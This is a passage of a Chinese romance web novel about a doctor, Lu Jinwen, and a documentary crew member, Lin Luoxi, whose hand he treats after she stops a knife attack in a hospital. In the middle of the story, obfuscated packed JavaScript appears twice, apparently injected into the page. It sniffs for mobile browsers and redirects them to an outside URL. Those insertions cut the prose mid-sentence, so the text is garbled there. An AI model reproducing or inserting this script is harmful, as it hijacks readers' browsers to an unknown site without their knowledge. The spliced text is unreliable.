想到刚才转移注意力的办法还挺管用,陆谨闻正琢磨着新的点子,却听见她问:“英文名用告诉你吗?” 陆谨闻一愣,抬头看着她一脸认真的小模样,抑不住笑。那笑意直达眼底,温柔得近乎纵溺:“怎么? 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他肤色偏冷白,看起来却没有丝毫的病态,反倒像是被镀上一层釉色的瓷器,有一种通透的清隽。 此刻他微敛眉眼,正专注地为她包扎伤口,深棕色瞳仁掩在长睫下,难窥全貌,却无碍她自行想象。 这是曾与她四目相对过的双眼,担当得起剑眉星眸,也曾让她如沐春风。 她目光下移,利落挺拔的鼻梁下,是他轻抿的唇。 再往下—— 林洛希眼神倏地一顿。 再往下,是他的喉结。 听说,这是男人的绝对领域。 她看着,也不知被下了什么蛊,反正是没半点儿要挪开目光的意思。 那股明目张胆的劲儿,丝毫没有意识到自己眼神已经超纲的自觉。 甚至,还敢再明目张胆一点儿—— 她选择在超纲的边缘,继续大鹏展翅。 他喉结不突出,却很清晰,平直利落的锁骨没入白衬衫的领部,若隐若现,有些勾人。 尤其是,她盯着他看的时候,他喉结还......滑动了下。 其实这就是本能的一个动作,但做者无心,看者有意。 林洛希突然间慌了神,心虚地不敢再看他。 逃避的下意识动作,就是低头。 还好,此时陆谨闻已经给她包扎好,正在做最后一步的封口。那些不想让她看到的画面,并未映入她眼帘。 他手长得很好看,骨节明晰,手指白皙细长,似玉骨折扇,有一种精雕细刻的雅致。 林洛希看着,脑海里莫名涌现一句话:这双手,弹起钢琴来一定很好看。 “好了。”他轻声道。 陆谨闻这一趟下来,先是消毒,然后上药,最后包扎,首尾呼应,完美收官。 林洛希这一趟下来,先是跑题,后是超纲,然后,最开始答应的事,也早已被她跑到九霄云外。 陆谨闻看到她目光的落脚点,早已脱离了既定轨道,也没拆穿,而是问:“这都包扎完了,夸我的话,我怎么一句都没听到呢?” 林洛希:“......” 她真想说,有个成语,叫色令智昏。 实际却是说:“我怕我说话,会影响你工作。” “那你这回报,”陆谨闻跟她斤斤计较,“可不能算数啊。” 林洛希想了想,觉得当面夸人也挺尴尬,再加上她现在有点儿做贼心虚,于是就想了个迂回路线:“那要不我回去给你写篇小作文吧。” “小作文就免了,”陆谨闻这时候却又变得很大度,“你回答我一个问题就行。” 她仰头,目光对上他的:“什么问题?” 时间仿若老旧的磁带,卡在了这个瞬间。 “我这张脸——”他温热掌心附上她的手掌,“是你喜欢的长相吗?” 11. 【11】 他问这话时,天边晚霞烧得正烈,红光连绵千万里,为墨蓝画布挑染上几缕风情。白日的喧嚣和炙热被压下,取得代之的,是一场绚烂至极的夏夜流火。 这风火人间,悉数坠入他眼眸,映衬出一种滚烫的温柔。 且这份温柔,此刻,是她独自享有。 林洛希下意识望向他的眼睛,结果,像是被他目光里的炽热烫着一般,不自然地别过了视线。 窗外黄昏,浪漫盛大,她低敛眉眼,温声细语地回答他:“我不是以貌取人的人。” 他刚问的是:“我这张脸是你喜欢的长相吗?” 她答的却是:“我不是以貌取人的人。” 典型的答非所问、避重就轻。 不过,陆谨闻倒还挺惊喜,看着她笑:“谁让你以貌取人了?我就单纯地让你评价一下我的长相,又没让你评价我这个人。” 林洛希:“......” “怎么?”他凑近些许,将自己停在一个不冒犯的距离,别有用心地追问,“对我这个人感兴趣?” 说话时,他轻轻的呼吸拂过她耳侧,嗓音清沉,略带磁性,听起来格外抓耳。 林洛希不由得怔了一下。 这一刹,她只感觉,窗外如火般热烈的夕阳,化身成了岩浆,流经了他清冷剔透的双眸。炽烫与冷冽一交锋,淬出刺啦刺啦的声响,将整间屋子、连带着里面的人,都烧得红彤彤。 她泛红的脸颊,就是夕阳作祟的罪证。 她有些无措,也有些词穷,搜刮尽肚子里的墨水,也不知道该怎么回应。 恰逢其时地,门外传来几阵急促的脚步声,紧接着,陈不语的声音便透过门板传了进来:“林洛希呢?” 有人回答他:“正在里面处理伤口。” 陆谨闻捕捉到这些声响,怕耽误她正事,及时收住了刚才那个话题,跟她说:“逗你的。” 说完,他掌心离开她的手掌,指腹轻轻摩挲着纱布的边缘,温声问道:“刚才那样按着,会疼么?” 听他这么一说,林洛希目光一顿。 默了片刻,才轻声道:“不疼。” 简简单单的两个字,听起来却有种难以道明的情绪在。 也是在这个时候,她才意识到,陆谨闻刚才那个近乎牵手的动作,只是在检查伤口。 并无他意。 但她没意识到的是—— 她对面坐着的,是个老谋深算的狐狸。 这个老狐狸就是故意问她这个问题,借此来轻而易举地洗脱自己,偷偷占人便宜的罪名。 老狐狸“奸计得逞”,若无其事地从座位上站起身,说出来的话周全又缜密:“导演在外面等你,应该是有事要聊,我就先出去了。” “嗯。”林洛希随他一起站了起来,看他走远的背影,没忍住叫了声:“陆医生。” 陆谨闻回头:“嗯?” “你等会儿......”她轻声问,“有时间吗?” “怎么了?” “我有些事情,想跟你解释一下。” 陆谨闻猜也能猜出来她要解释的是什么事儿,却还是按下心中狂喜,温柔地应她:“好。” “不过,”林洛希怕会让他等,“你要是着急的话,也不用......” “不着急,”陆谨闻打断她,目光里添了份郑重其事,“林洛希,我不着急。” 他折回到她身边,缓缓垂眼,对上她的目光,语气放得温柔又平缓:“你也不用着急。” “因为——”他微微躬身,将两人的目光放在同一水平线,异常认真地看着她,“即使你不解释,我也不会误解你。” 即使你不解释,我也不会误解你。 这句子,禁不住深想。 那种绝对偏颇的信任,太容易让人沉溺。 林洛希没经历过这种阵仗,心思猛地一颤。 也在此刻,切身体会到,何为坐立难安、兵荒马乱。 陆谨闻看穿她小女孩的心思,却没舍得直接拆穿。 而是轻抬手指,指了指她脸颊上泛起的那团红晕,带着点儿慵懒的笑,明知故问道:“怎么脸红了?” 林洛希抬眸,无知无识地“啊?”了声。 片刻后,也学着他,轻抬手指,指着窗外的“罪魁祸首”,将脸红归咎于如火烧般热烈的夕阳。 很稚气地答:“是夕阳衬得。” - 说这话时,她仰起的目光太过清澈,几缕斜阳余晖点缀其间,把这双眸子,映衬得像晕开的月光。 比真实月色先至,像是一则引人入胜的预告。 陆谨闻就是在这片预告的月光里,失了片刻神。 他总以为自己是稳操胜券、永远不会慌乱的那一方,但转身后,那脚步迈得,实在是有点儿落荒而逃的味道。 但终究,没敢逃多远。 事情没调查清楚,他放心不下。 与陈不语擦了个肩,陆谨闻径直走向站在墙边的姜铮,在林洛希面前展露的温柔面孔早已褪下,此刻直面姜铮的,是一张凛冽又严肃的脸。 走到他面前,陆谨闻长驱直入地问:“怎么回事?她为什么会受伤?” 姜铮手心莫名一紧,不答先问:“她手没事吧?” 陆谨闻轻嗯一声。 姜铮又问:“会留疤吗?” 他声音颤着,难掩忐忑。 “有我在,不会。”陆谨闻答得很笃定。 “呼......”姜铮倏地,长舒了一口气。 “其实这件事,说到底,也怪我,”他低下头,把眼底情绪隐藏,胸腔里翻涌着极为强烈的难过,“我们中午的时候在走廊尽头的储物室拍摄空镜头来着,然后我把相机包落在那里了,就让洛希替我去取,结果......她碰上了方志军。” “方志军?”陆谨闻蹙眉,“谁?” “方耀的父亲。” 陆谨闻知道方耀,凤栖路车祸中受伤最严重的那个男生。 当时他就坐在公交第一排,从前方货车上掉落下来的钢筋,直直刺入他的主动脉,那是足以致命的失血位置,他的生命状态一度危急到,在手术过程中,被下了两次病危通知书。 好在最后活了下来,被推进了重症监护室。 但目前,尚未完全脱离生命危险。 “方志军一直在非洲打工,”姜铮继续说,“知道儿子受伤,做了两天一夜的飞机赶回来,看到方耀躺在床上生死未卜的样子,情绪瞬间失控。” 陆谨闻:“然后呢?” “然后......”姜铮嗓音涩然,“他便拿着刀,去找了吕奎。” 吕奎,就是拉钢筋的那个货车司机。 听到这儿,陆谨闻瞬间懂了。 方志军此举,是为了找吕奎报仇。 不知道是哪个环节出了差错,以至于让方志军认为,造成方耀如今这种状况的罪魁祸首,是前面的货车司机吕奎。 虽然实际情况并非如此,甚至连吕奎也是这起车祸的受害者。 但这会儿,陆谨闻没心情去细究这背后是阴差阳错,还是另有其因,他略过这些复杂的现实,直问道:“但这件事,跟林洛希有什么关系?” “方志军准备对吕奎下手的时候,正巧被她看到,”姜铮竭力控制着情绪,“当时走廊尽头没什么人,林洛希正好拿完相机包,从储物室出来,看到这一幕,下意识就从背后拦住了方志军。” “然后呢?”陆谨闻喉间重重一哽,心也跟着往下沉,“没拦住?反倒让方志军恼羞成怒了?” “不,拦住了。”一道声音,蓦地从拐角传出。 陆谨闻和姜铮齐转头。 一看,说这话的人,正是吕奎。 - “情况我大概了解了,”一墙之隔的房间内,陈不语和林洛希相对而坐,“方耀他父亲得知事情的来龙去脉后,也很愧疚。” 陈不语看了眼林洛希的手,继续道:“但不管他是出于什么原因,这件事的受害者是你,你想要一个怎样的处理结果,我们就为你要到一个怎样的处理结果。” 说话时,他语速低缓,语气平静。 但那份“护犊子”的心切,都在里面了。 林洛希看着坐在对面的陈不语,莫名地,心中涌起一阵酸涩。 今年,陈不语刚好年满五十周岁,因个人风格鲜明、叙事详实、视角多样,执导的纪录片多次斩获国内外大奖。 多少人挤破头都想进来他的团队,甚至不计报酬,只为能在自己的简历上,或者,往更大一步说,在自己的人生履历上,能有一段与他共事的时光。 陈不语。 这是个写在简历上便能切实转化成offer入场券的一个名字。 也是林洛希仰望的一个名字。 此刻,林洛希看着他,满脑子都是今早在地铁上忆起的那段话:“医院不同于其他场所,这里直面的是生死,你们会因生命的脆弱落泪,也会因生命的坚强落泪。会看到这个世界上情比金坚的情义,也会看到剧本都预设不出的荒诞现实。” 这话是陈不语说的,不假。 但实际上,这话真正的重点,却是在后面。 “但是,拍摄纪录片要学会的第一课,就是要把你们记录者的身份放得客观。” “要切记,你们是记录者,不是医疗行为的影响者,更不是审判者。” 毫无疑问,林洛希今天的冲动,已然犯了行业大忌。 所以,纵然陈不语没有追究,甚至语气间连一丝轻责都难寻,但她还是觉得喉咙发紧。 陈不语窥见她心思,直接问:“怎么了?” “您......”她也不拐弯,“不批评我吗?” “批评什么?”话音刚落,陈不语忽然有些知味她为什么会这么问。 “觉得自己不专业?犯了大忌?”他轻笑一声,笑里却无任何轻蔑之意,“林洛希,这片子当初招人,多少科班出身的简历都被我筛过去了,我选择你,自然是因为你身上有胜于别人的地方。” 没想到会得到这么个答案,林洛希有些讶然,抬起的眸光如温凉月夜,有一种至深又剔透的灵性。 “所以,大胆一点儿。” 陈不语从座位上站起来,目光由上至下地看着她,说出的话却无任何居高临下的姿态,“不用瞻前顾后,也不用畏首畏尾,你是我亲自挑中的人,我心里有数。” 你是我亲自挑中的人,我心里有数。 寥寥几个字,却重若千钧。 林洛希飘在半空的心,也在这份扎实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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风声掠过身侧,在他面前劈开一条道,和来时一样,又是一次和时间的赛跑。 这一刻,他只盼望,地铁进站的时间,能晚一些。 好为他预留出时间,让他能追赶上她坐的那班地铁。 这世间,向来是不贪婪的愿望,才会被眷顾。 他的愿望,真诚又质朴,命运拨了拨时钟,大方对他施以援手。 陆谨闻走下扶梯的时候,恰逢新一趟的地铁进站。他目光一扫,在靠近车头的等待区,一眼就看到了她。 她站在那儿,气质温柔,眉眼胜画,没任何喧宾夺主,却莫名地,让人挪不开眼。 陆谨闻蓦地想起一个形容来:这是个放在人群里,也能被人一眼挑出来的姑娘。 滴滴两声后,两扇门同时打开,林洛希上了地铁。 还挺幸运,竟然有座。 她找了个靠边的座位坐下,拿出手机,继续回消息。 导师梁时遇刚给她发了条微信,关于论文开题的,她丝毫不敢怠慢,认认真真地回复。 敲定好论文题目,林洛希把手机摁灭,目光轻抬时,一个身影落入眼眸。 她的侧前方,站着一个女人,看起来三四十岁,穿着一件白色的罩衫。 这罩衫是宽松式,有些透光,再加上她为保持平衡,左手抬高,扶着拉环,露出了一截手臂,因此,林洛希一眼就看到了她手腕上缠着的红蓝绑带。 然后,在她朝自己这个方向看过来的时候,林洛希拦截住她的目光,用眼神示意她:你过来坐。 那人意会到,走到她身前,对她道了声谢。 “没事儿,”林洛希从座位上站起来,“我正好要下了。” 说完,她慢慢往车厢前面走。 结果,刚走没两步,车厢猛地晃了下,她一个重心不稳,脚步一趔趄,下意识地去寻平衡点。 发生突发情况时,人的本能反应总是占上风。 亦如此刻,林洛希离左侧的拉环最近,下意识地就想抬高左手去抓那个拉环,全然忘了自己手上还有伤。 可是,就在快要触上的瞬间,有人拽住了她的胳膊,她被牵引着,被动跌入一个温暖宽厚的怀抱。 陆谨闻揽着她的腰,将她整个人往怀里一合。 她原本不稳的脚步,在他的庇佑中,稳稳当当地着陆。 她定了定神,一抬眸,对上一双如新雪初融般,清隽明亮的眼。 耳闻过许久的“小鹿乱撞”一词,在此刻,终于从喻体,具象成了本体。 那感觉,就像是心间真的住了头小鹿,满心雀跃着,一路撞上眉梢,撞得她脸颊都发烫。 陆谨闻把她抱在怀里,看着她泛红的脸颊,笑得别有深意:“林洛希,太阳可都落山了。” 她对眼前的情况还有点懵,下意识喃喃:“啊?” 他目光认真地看着她,似一斛待启封的醇酒,淌过经年岁月,语气不急不缓地,道出他有备而来的深意—— “这次,可不能把脸红,怪罪到夕阳身上咯。” 12. 【12】 春天不是已经过去了么? 他眼里,为什么仍有满城春色。 林洛希望向他时,脑海里浮现的就是这么一句话。 地铁冷气开得足,他掌心涉足之处,却是能燎原的烈火。 冰火两重天箍着她,让她不依附任何定点,也能在摇晃中,平稳着陆。 秒钟转过六十度,地铁进站停稳,几多人上来,几多人下去。 陆谨闻余光一瞥,看到斜对角的排椅上,空出了两个座位。 “去坐那儿。”他朝她挑挑眉,护佑她的手,也很快从她腰上抽离。 林洛希腰间温度骤然降低,微不足道的温度差,却让她心里瓦解出一丝有点儿矫情的失落。 这种失落,就像是演唱会散场的那一刻,歌手已经退场,你却还坐在座位上,不舍得离去,看着空旷的舞台,空想着他刚才在舞台上创造出的光影盛景,以及随他一路叠加的澎湃心情。 叠加一路,兴至高点,落幕时,人难免会在热闹和萧条的落差里,怅惘一阵子。 林洛希抿抿唇,把错综心绪藏好,走到空位上坐下,然后,抬眸,看着陆谨闻,小声嘟囔了句:“太阳没落山也不能。” “嗯?” “夕阳又照不进地铁。” 夕阳照不进地铁,即使太阳没落山,我也没办法用那个蹩脚的借口,解释我确切的脸红。 咂摸了下她话里的含义,陆谨闻倏地笑了。 走到她身边,他没即刻落座,而是弯腰对她说:“你坐右边。” “嗯?” “你左手边坐的人不是我,我不放心。” 你左手边坐的人不是我,我不放心。 平淡又质朴的一句话,没任何华丽辞藻,也没任何昂扬音调。 可就是这份安静流淌的温柔,将她又一次打动。 这一瞬间,就像是演唱会的安可,只要他一出声,便能轻而易举地,为她消解掉几分失落。 林洛希在这份又加又减的心绪里,忽而想起一个比喻—— 他就像是等号左边的出题人,是加是减都随他心意,游刃有余,自成造诣; 而她,就像是等号右边的作答者,只能被动接受他的命题。 如果命题太难怎么办?很简单—— 坦诚地说“我不会。” 用不着伪装成会做的熟稔,反倒欲盖弥彰。 所以,林洛希很坦诚:“我从来没被人这么抱过,人在面对突发情况的时候,肾上腺素会往上升,所以我脸红很正常。” 陆谨闻:“......” 听听这小词说的,做医生家属,多够格。 见他不说话,林洛希又补充:“不过你放心,我对你没有非分之想。” 陆谨闻:“......” 你对我没非分之想,我才不放心。 “嗯,我也没有。”他接上一句,语气坦荡得很。 “你刚才那一拉,会扯到你伤口的,知道么?” “知道,”林洛希说,“但我当时本能反应大于理智反应,在摔倒和牵扯到伤口之间,身体替我选择了后者。” 陆谨闻听着她缜密的逻辑,点头附和道:“我也是。” 林洛希:“?” 你也是什么? “在看你受伤和被你当成流氓之间,我也本能地选择了后者。” “......” “所以,林洛希——”他看着她,为自己讨要公平,“你不能误解我。” “嗯?” “我不是占你便宜。” 她恍惚了瞬,轻声道:“我知道。” 这事儿翻了篇,陆谨闻将话题切回到正事:“刚不是说有事情要和我解释么?” “哦,对,”林洛希反应过来,右手抬起,冲他比了个“耶”,眉眼间尽是例行公事的严谨,“一共有两件事。” 陆谨闻看着她,心里头乐开花。 这姑娘怕是不知道,她反差萌的模样,有多讨喜。 他按下心头悸动,平静道:“说来我听听。” “我上次和安然吃饭,问她你是不是渣男,”林洛希开始陈述,“并不是因为我觉得你是,而是因为我觉得你不是,所以才那么问的。” “嗯?”陆谨闻话里漏了丝笑,“这话怎么讲?” “就我们第一次见面的时候......”回忆起和他有关的事,林洛希心里莫名一软,连带着语气也轻轻柔柔,“你说我名字很好听,然后我问你,你怎么知道我名字好听,你跟我说是直觉,我就觉得......” “觉得什么?” “觉得你......很会说撩人的话。” “......” “我室友说,第一次见面就能把撩人的话说得那么得心应手的人,都是渣男。但我觉得这样的判断有失偏颇,所以我就问了安然那个问题。” “因为觉得我不是那样的人?” “嗯。” “为什么觉得我不是?” 林洛希顿了顿,说:“直觉。” 听到这儿,陆谨闻心里乐开的花真是收也收不住了,唇角眉梢都是笑:“你这话说的,还得亏你给我洗清罪名了。” “嗯?” “要不然,你这答案,听着不就像个渣女?” 林洛希:“......” “然后还有微信拍一拍那件事。我都不知道微信有那个功能,是我们摄制组要做个采访,我被同事拉进了那个群里,然后我就想看看大概有多少人,结果我浏览群成员消息的时候,看到了你的头像,我觉得很惊喜,就想着点开看看。” 陆谨闻饶有兴致地听着。 ——听着自己放出去的鱼饵是怎么被小鱼吃到的。 “结果,就在我准备点开的时候,有人撞了我的胳膊肘,我就手滑点了两次头像,就出现了群里那一幕,那个部位......” 林洛希停顿片刻,陆谨闻立马接上她的话,解释道:“那后缀是程厉偷拿我手机给我设的,不是我,我根本不知道这件事。” 林洛希点点头:“嗯,我知道。” 他又问:“认识程厉吗?” “知道长什么样子,但还没碰过面。” “这样正好。” “嗯?” “以后离他远点儿,”陆谨闻轻嗤一声,“他不是什么好人。” “......” “解释完了没?” “嗯。” 看了眼她的手,陆谨闻忽然问:“你宿舍是哪栋楼?” 突然转了话题,林洛希一下子没反应过来:“我宿舍?” “嗯。” “西区一栋。” “宿舍里是上床下桌?” “嗯。” 这问题问得挺突然,再加上,问完之后,陆谨闻便低头聊微信去了,林洛希就觉得应该是他有女性的亲戚朋友要考京大,所以拜托他提前打听一下宿舍情况。 所以也没多想。 直到,陆谨闻把她一路送到了寝室楼下。 然后,林洛希看着他,从一位气质冷若冰山、容貌极为英俊的男人手里,接过了一个“快递”。 那是一张意大利进口的最新型折叠床,设计科学先进,重量很轻,质量过硬。 “你现在这状况,伤口容易开裂,所以尽量不要攀上攀下,这几天就睡这张床,很轻便,也很好操作,只要......”陆谨闻在这滔滔不绝,整个一苦口婆心的老妈子。 结果,谁成想,林洛希一个字都没听进去,看着那个远去的背影,不可思议地问:“刚才那个人,是贺轻舟吗?” 陆谨闻嗯了声:“你认识他?” “这么年轻有为的建筑设计师,应该没人不认识吧?”林洛希还挺惊喜,“今天见了真人,我才发现摄像机简直没拍出他万分之一的帅!” 陆谨闻听着,瞬间气笑了。 “林洛希。”声音沉下来,像是在警告。 “嗯?” “不听医嘱,只顾着看帅哥了是吧?” “......听了。”弱弱的一声,明显的底气不足。 “我说什么了?”陆老师课后抽查。 林同学信手拈来:“忌食生冷辛辣,伤口不要沾水。” 陆谨闻:“......” 他还没说到这个呢,通用语倒是背得挺溜。 最终,还是出于想让她早点休息的立场,陆谨闻才没跟她“算账”,跟她说:“有同学在寝室吗,让她下来帮你拿一下。” 林洛希:“哦。” 然后,她就拨通了迟臻臻的电话。 “臻臻,你在寝室吗?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15574896|171517||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“在。” 看了眼陆谨闻微沉的脸色,林洛希后知后觉地反应过来,音调扬起,对电话那头说道:“楼下有位极品大帅哥,要不要看?” 说完,还用余光瞥了眼陆谨闻。 果不其然,听到这个形容,他唇角弯了弯。 “极品大帅哥!”迟臻臻眼睛立马就亮了,被导师批评的坏心情顷刻间烟消云散,穿上拖鞋就往外跑。 “要!要!要!等我!希希宝贝!等我啊!我马上下来!” 然后,她就以迅雷不及掩耳之势冲下了楼。 刚跑出寝室楼,迟臻臻一眼就看到了林洛希,以及站在她身边的那个极品大帅哥。 绝对的温润如玉,风流倜傥。 然后,想到她俩今早的对话,迟臻臻自然而然地就联想到了一个人。 ——孙桐口中那个长得惊为天人的风盛总裁。 “这就是风盛的老板吗?”迟臻臻以手掩唇,对着林洛希的耳朵,像在说什么悄悄话,“我靠,这特么也太帅了吧!” 陆谨闻:“?” 这俩货今天存在感怎么这么强? “......”林洛希听了,非常无语地把迟臻臻的手撤下,拆穿道,“你这音量,配这个动作,纯粹是有点多余。” 迟臻臻:“......” 说完,开始给俩人介绍彼此:“这是我室友,迟臻臻,这是京大附属医院的医生,陆医生。” 迟臻臻一向自来熟,“京医的医生?那应该是京大医学院毕业的吧?” 陆谨闻点头,说是。 “师哥好。” “你好。”陆谨闻笑得和煦,“洛希手受伤了,不方便攀上攀下,还麻烦你帮她把这张床搬上去,师哥有时间请你吃饭。” “不麻烦不麻烦,我这个人没别的优点,就是劲儿大。”说完,就去拿那张折叠床。 林洛希也不好意思耽误他太多时间,拎上另一角,说:“那我们就先上去了,今天谢谢你。” 陆谨闻应着她:“嗯,快上去......” 话说到一半,被迟臻臻打断:“上去什么上去!” 说着,她长臂一伸,一人抱起那个折叠床就往宿舍楼里走,“你再陪陆师哥聊会儿天。” 转身前,还瞪了林洛希一眼,“怎么这么不懂事!” 林洛希:“......” 陆谨闻倒是趁这个机会问了句:“风盛?” 林洛希大概解释了下:“哦,我之前在风盛实习过,转行这件事还没来得及告诉室友,所以她以为我还在风盛工作。” 陆谨闻听了,若有所思地点了点头。 - 回到家时,天色已晚,陆谨闻终于有时间可以看看《侧耳倾听》这部电影。 买回来就只发挥过装饰作用的电视机,在今晚终于有了用武之地。 故事在《Country Road》的旋律中拉开了序幕。 镜头由上至下地推进,先行掠过浩渺无垠的星空,然后渐次停泊在充满人间烟火气的街道、站台、十字路口和万家灯火。 每一帧画面,都简单至极,却又自带抚慰人心的功效。 温暖治愈,能让观众的心下意识地放软。 陆谨闻沉浸其中,透过这个名叫月岛雯的小姑娘的眼睛,尽情领略着她身边的风景。 空镜头过后,故事开始展开。 月岛雯自幼喜欢阅读。一次巧合,让她在图书借阅卡上,发现了一个出现频率比她还要高的名字—— 天泽圣司。 但一直是只见其名,未见其人。 直至影片播放到十二分钟,月岛雯回去寻找遗落的书本,捡到她书本的天泽圣司,也就是男主角才终于出场。 镜头推进,他穿着白色T恤,坐在树荫下的长椅上,翻阅着被遗落的书本。 听到脚步声,他才将目光从书本上抬起,看向月岛雯。 太多影片的第一幕高潮,往往就发生在男女主的第一次对视。 或许,只有相信并经历过一见钟情的人才会理解,那么多导演钟爱这样一眼万年的镜头,并非全是巧合。 旁观者认为的巧合,往往是剧中人来不及逃离的命中注定。 陆谨闻看着这一幕,看得正投入。 就在这时,门铃声不合时宜地响了起来。 13. 【13】 兴致被破坏,陆谨闻眉头轻蹙,但也不得不按下暂停键,起身去开门。 打开一看,门外站着一个男人,西装笔挺,风度翩翩。 是席砚卿。 鉴于这人又是卖他关子,又是扰他兴致,总之就是一次次地挑战他的忍耐底线,因此,陆谨闻现在的心情真的称不上太好。 他半倚着门框,眉梢一挑,冷冷问道:“有事?” “嗯。”席砚卿跟到了自己家似的,很自觉地往室内走。 陆谨闻伸出胳膊挡在他身前,不爽道:“有事说事!” 席砚卿瞥他一眼,语气随意至极:“治病。” 陆谨闻一听就知道他在信口胡诌,就他这个满面春风的样子,有病就怪了。 但碍于心中有些疑惑尚未得到解答,他还是放下胳膊让人进了屋。 席砚卿不是第一次过来,早就轻车熟路,换好鞋之后便自行走向了客厅。 落座后,一个抬眼,电视屏幕上暂停的画面就这么猝不及防地映入了眼帘。 席砚卿:“?” 陆谨闻什么时候好这一口了? “你现在挺有少女心啊,怎么看起这么幼......”本想说幼稚,但席砚卿又觉得每个人的爱好都应该被尊重,于是换了个比较委婉的说法,“童趣的电影了?” 说完,还没等到答案,一个东西就从右前方朝他飞了过来。席砚卿长臂一伸,稳稳接住了陆谨闻隔空投过来的水。 陆谨闻走到沙发上坐下,免不了想要奚落某人一番。 “找我治病?”他音调一扬,心机颇深地开始挖坑,“你找错地方了吧?” 席砚卿还在想这人突然看起动漫到底是什么骚操作,一时没反应过来他问这个问题的用意,鼻腔溢出一个慵懒的:“嗯?” 陆谨闻低笑一声:“我又不是兽医。” 席砚卿直接一个靠枕扔过去:“说点儿人话!” 陆谨闻凭借本能眼疾手快地接住。 男人们在这方面总是有神一般的默契。 把靠枕扔在身后,陆谨闻回视着他,不忿道:“那你能干点儿人事儿?” “不就是没及时回你信息?”席砚卿轻啧一声,“这你可真冤枉我了,那飞机要起飞,我能不关手机?” “合着就那么凑巧呗,你正好给我发完最后一个字,飞机就正好起飞,”很明显,陆谨闻对他的说辞并不受用,“从昨天你给我发消息到现在,已经过去了二十多个小时,怎么着,飞机在天上连续飞了二十多个小时?” “......” “我怎么记得全球最长航线也就飞行二十个小时,席总这是牛逼得开辟新航线了?” 听着他阴阳怪气,席砚卿笑:“那倒也不是。” 其实,给陆谨闻发消息的时候他正在候机,别说起飞了,登机都还没登,虽然他这个工作狂恨不得候机都在工作,但回个消息的时间还是绰绰有余。 “我故意的,我就是——”席砚卿倒也直言不讳,“想吊吊你的胃口,磨磨你的耐心。” 陆谨闻:“......” 我这都交的什么朋友。 席砚卿也挺无语。 其实他本来设想的是两人一旦见面,陆谨闻肯定会迫不及待地问他林洛希的事情。 结果......弯弯绕绕说了这么多,这人丝毫没有把话题往正事上引的意思。 一脸的云淡风轻。 这也太沉得住气了吧。 还是说,已经移情别恋了? “不是,”席砚卿觉得蹊跷,“陆谨闻,你不对劲啊。” 闻言,陆谨闻耳根一软。 “你不对劲。” 这评价,短短两天内,听了三次了。 他还挺好奇,他是有多不对劲。 “别绕弯子,有话快说。”趁耐心全部耗完之前,陆谨闻终于催促起正事来。 席砚卿心想,这就对劲了。 他清了清嗓子,故弄玄虚道:“今天找你来,确实是为了治病,但这病呢——”边说着,边打开了随身携带的公文包,“不是你给我治,是我给你治。” 陆谨闻不解:“你给我治哪门子的病?” “相思病。”话音刚落,席砚卿从包里找到一个透明文件夹,拿出来,递给陆谨闻。 陆谨闻抬手接过。 只需一眼,他便看出,里面夹着的,是林洛希的简历。 看来,有些猜测,还是准的。 比如说,预感到她会从事金融行业。 想到这儿,陆谨闻沉声一笑。 然后,打开文件夹,目光平直地落下来,开始细细阅读简历上面的文字。 先是教育背景。 本科就读于X大经管学院,大二赴伦敦政治经济学院进行交流学习,大学毕业后,以专业第一的成绩考研至京溪大学经济学院继续攻读硕士学位。 教育背景下面,附带着的是所获荣誉、学术成果和实践活动,其中包括了国际组织和国际银行的实习经历。 整个简历,内容丰富,排版得当,一字一句看下来,含金量十足。 不得不说,即使在精英垄断的金融圈,这依然是一份能够拔得头筹的简历。 否则,也不至于能够通过风盛投行的筛选。 认认真真地阅读完最后一个字,陆谨闻依然没从简历上抬头。那目光兜兜转转,最终又落回了那张证件照上。 他看着那张照片,问席砚卿:“你还管招聘?” 席砚卿轻嗤一声:“我那么闲?” “那这是怎么回事?” “去多伦多出差,正好公司的人力总监跟我一趟航班,候机的时候,听到她说了个名字,我当时还没注意,过了会儿才感觉到不对劲,心想这不就是你托我帮你留意的那个名字吗?然后,我让她调出简历,发给你一看,果然不出我所料。” 陆谨闻听着,沉默无声地点点头。 席砚卿:“......” 他辛辛苦苦在这儿一通解释,结果眼前这个人可倒好,目光一直盯着那张简历看,连一个眼神都没给他。 “陆谨闻,跟你说个事。”席砚卿倏地转了个调,开始使坏。 “说。” “这姑娘有男朋友了。” 闻言,陆谨闻目光一滞,指尖也连带着猛地一顿。 沉默几秒,他终于从那张简历上抬起了眼,眸底晦明难辨:“你怎么知道?” 席砚卿慵懒地靠上沙发背,回想着昨天发生的那个插曲,装腔作势道:“这就说来话长了。” “那你就长话短说!”一副耐心快要耗尽的语气。 “陆谨闻,你那点儿温柔全用在你病人身上了吧,”席砚卿真的是服了,“你搞清楚,现在是你有求于我,你对我态度好点儿!” 陆谨闻:“......” - 其实,席砚卿得知林洛希在风盛实习过这件事,确实是个意外。 按照风盛投行的规模,每年招收实习生这样的事情,根本轮不到席砚卿亲自过目。 所以,如果一切按照既定的轨迹走,那么,席砚卿知道林洛希这个名字,应该是几年之后,林洛希在风盛站稳脚跟,取得傲人成绩,进入管理层,他才会注意到她。 但今天的一切之所以会发生,就是因为这个叫林洛希的人,拒了风盛的offer。 席砚卿前一段去国外出差,回国时恰好碰上风盛的人力总监,邹喻。 邹喻是席砚卿在美国就读商学院时的师姐,比他大个几岁,现任风盛投行人力总监。邹喻自读书时就能力出众,做起事来雷厉风行,利落果敢,典型的女强人一个。尤其是那双眼睛,看人一看一个准儿。风盛发展到今天,离不开她的一臂之力,席砚卿对她也很是器重。 当时的邹喻,正坐在与席砚卿相邻的座位上打电话。 “除了林洛希,其余的都能正常签合同是吧。” “行,那我知道了。” 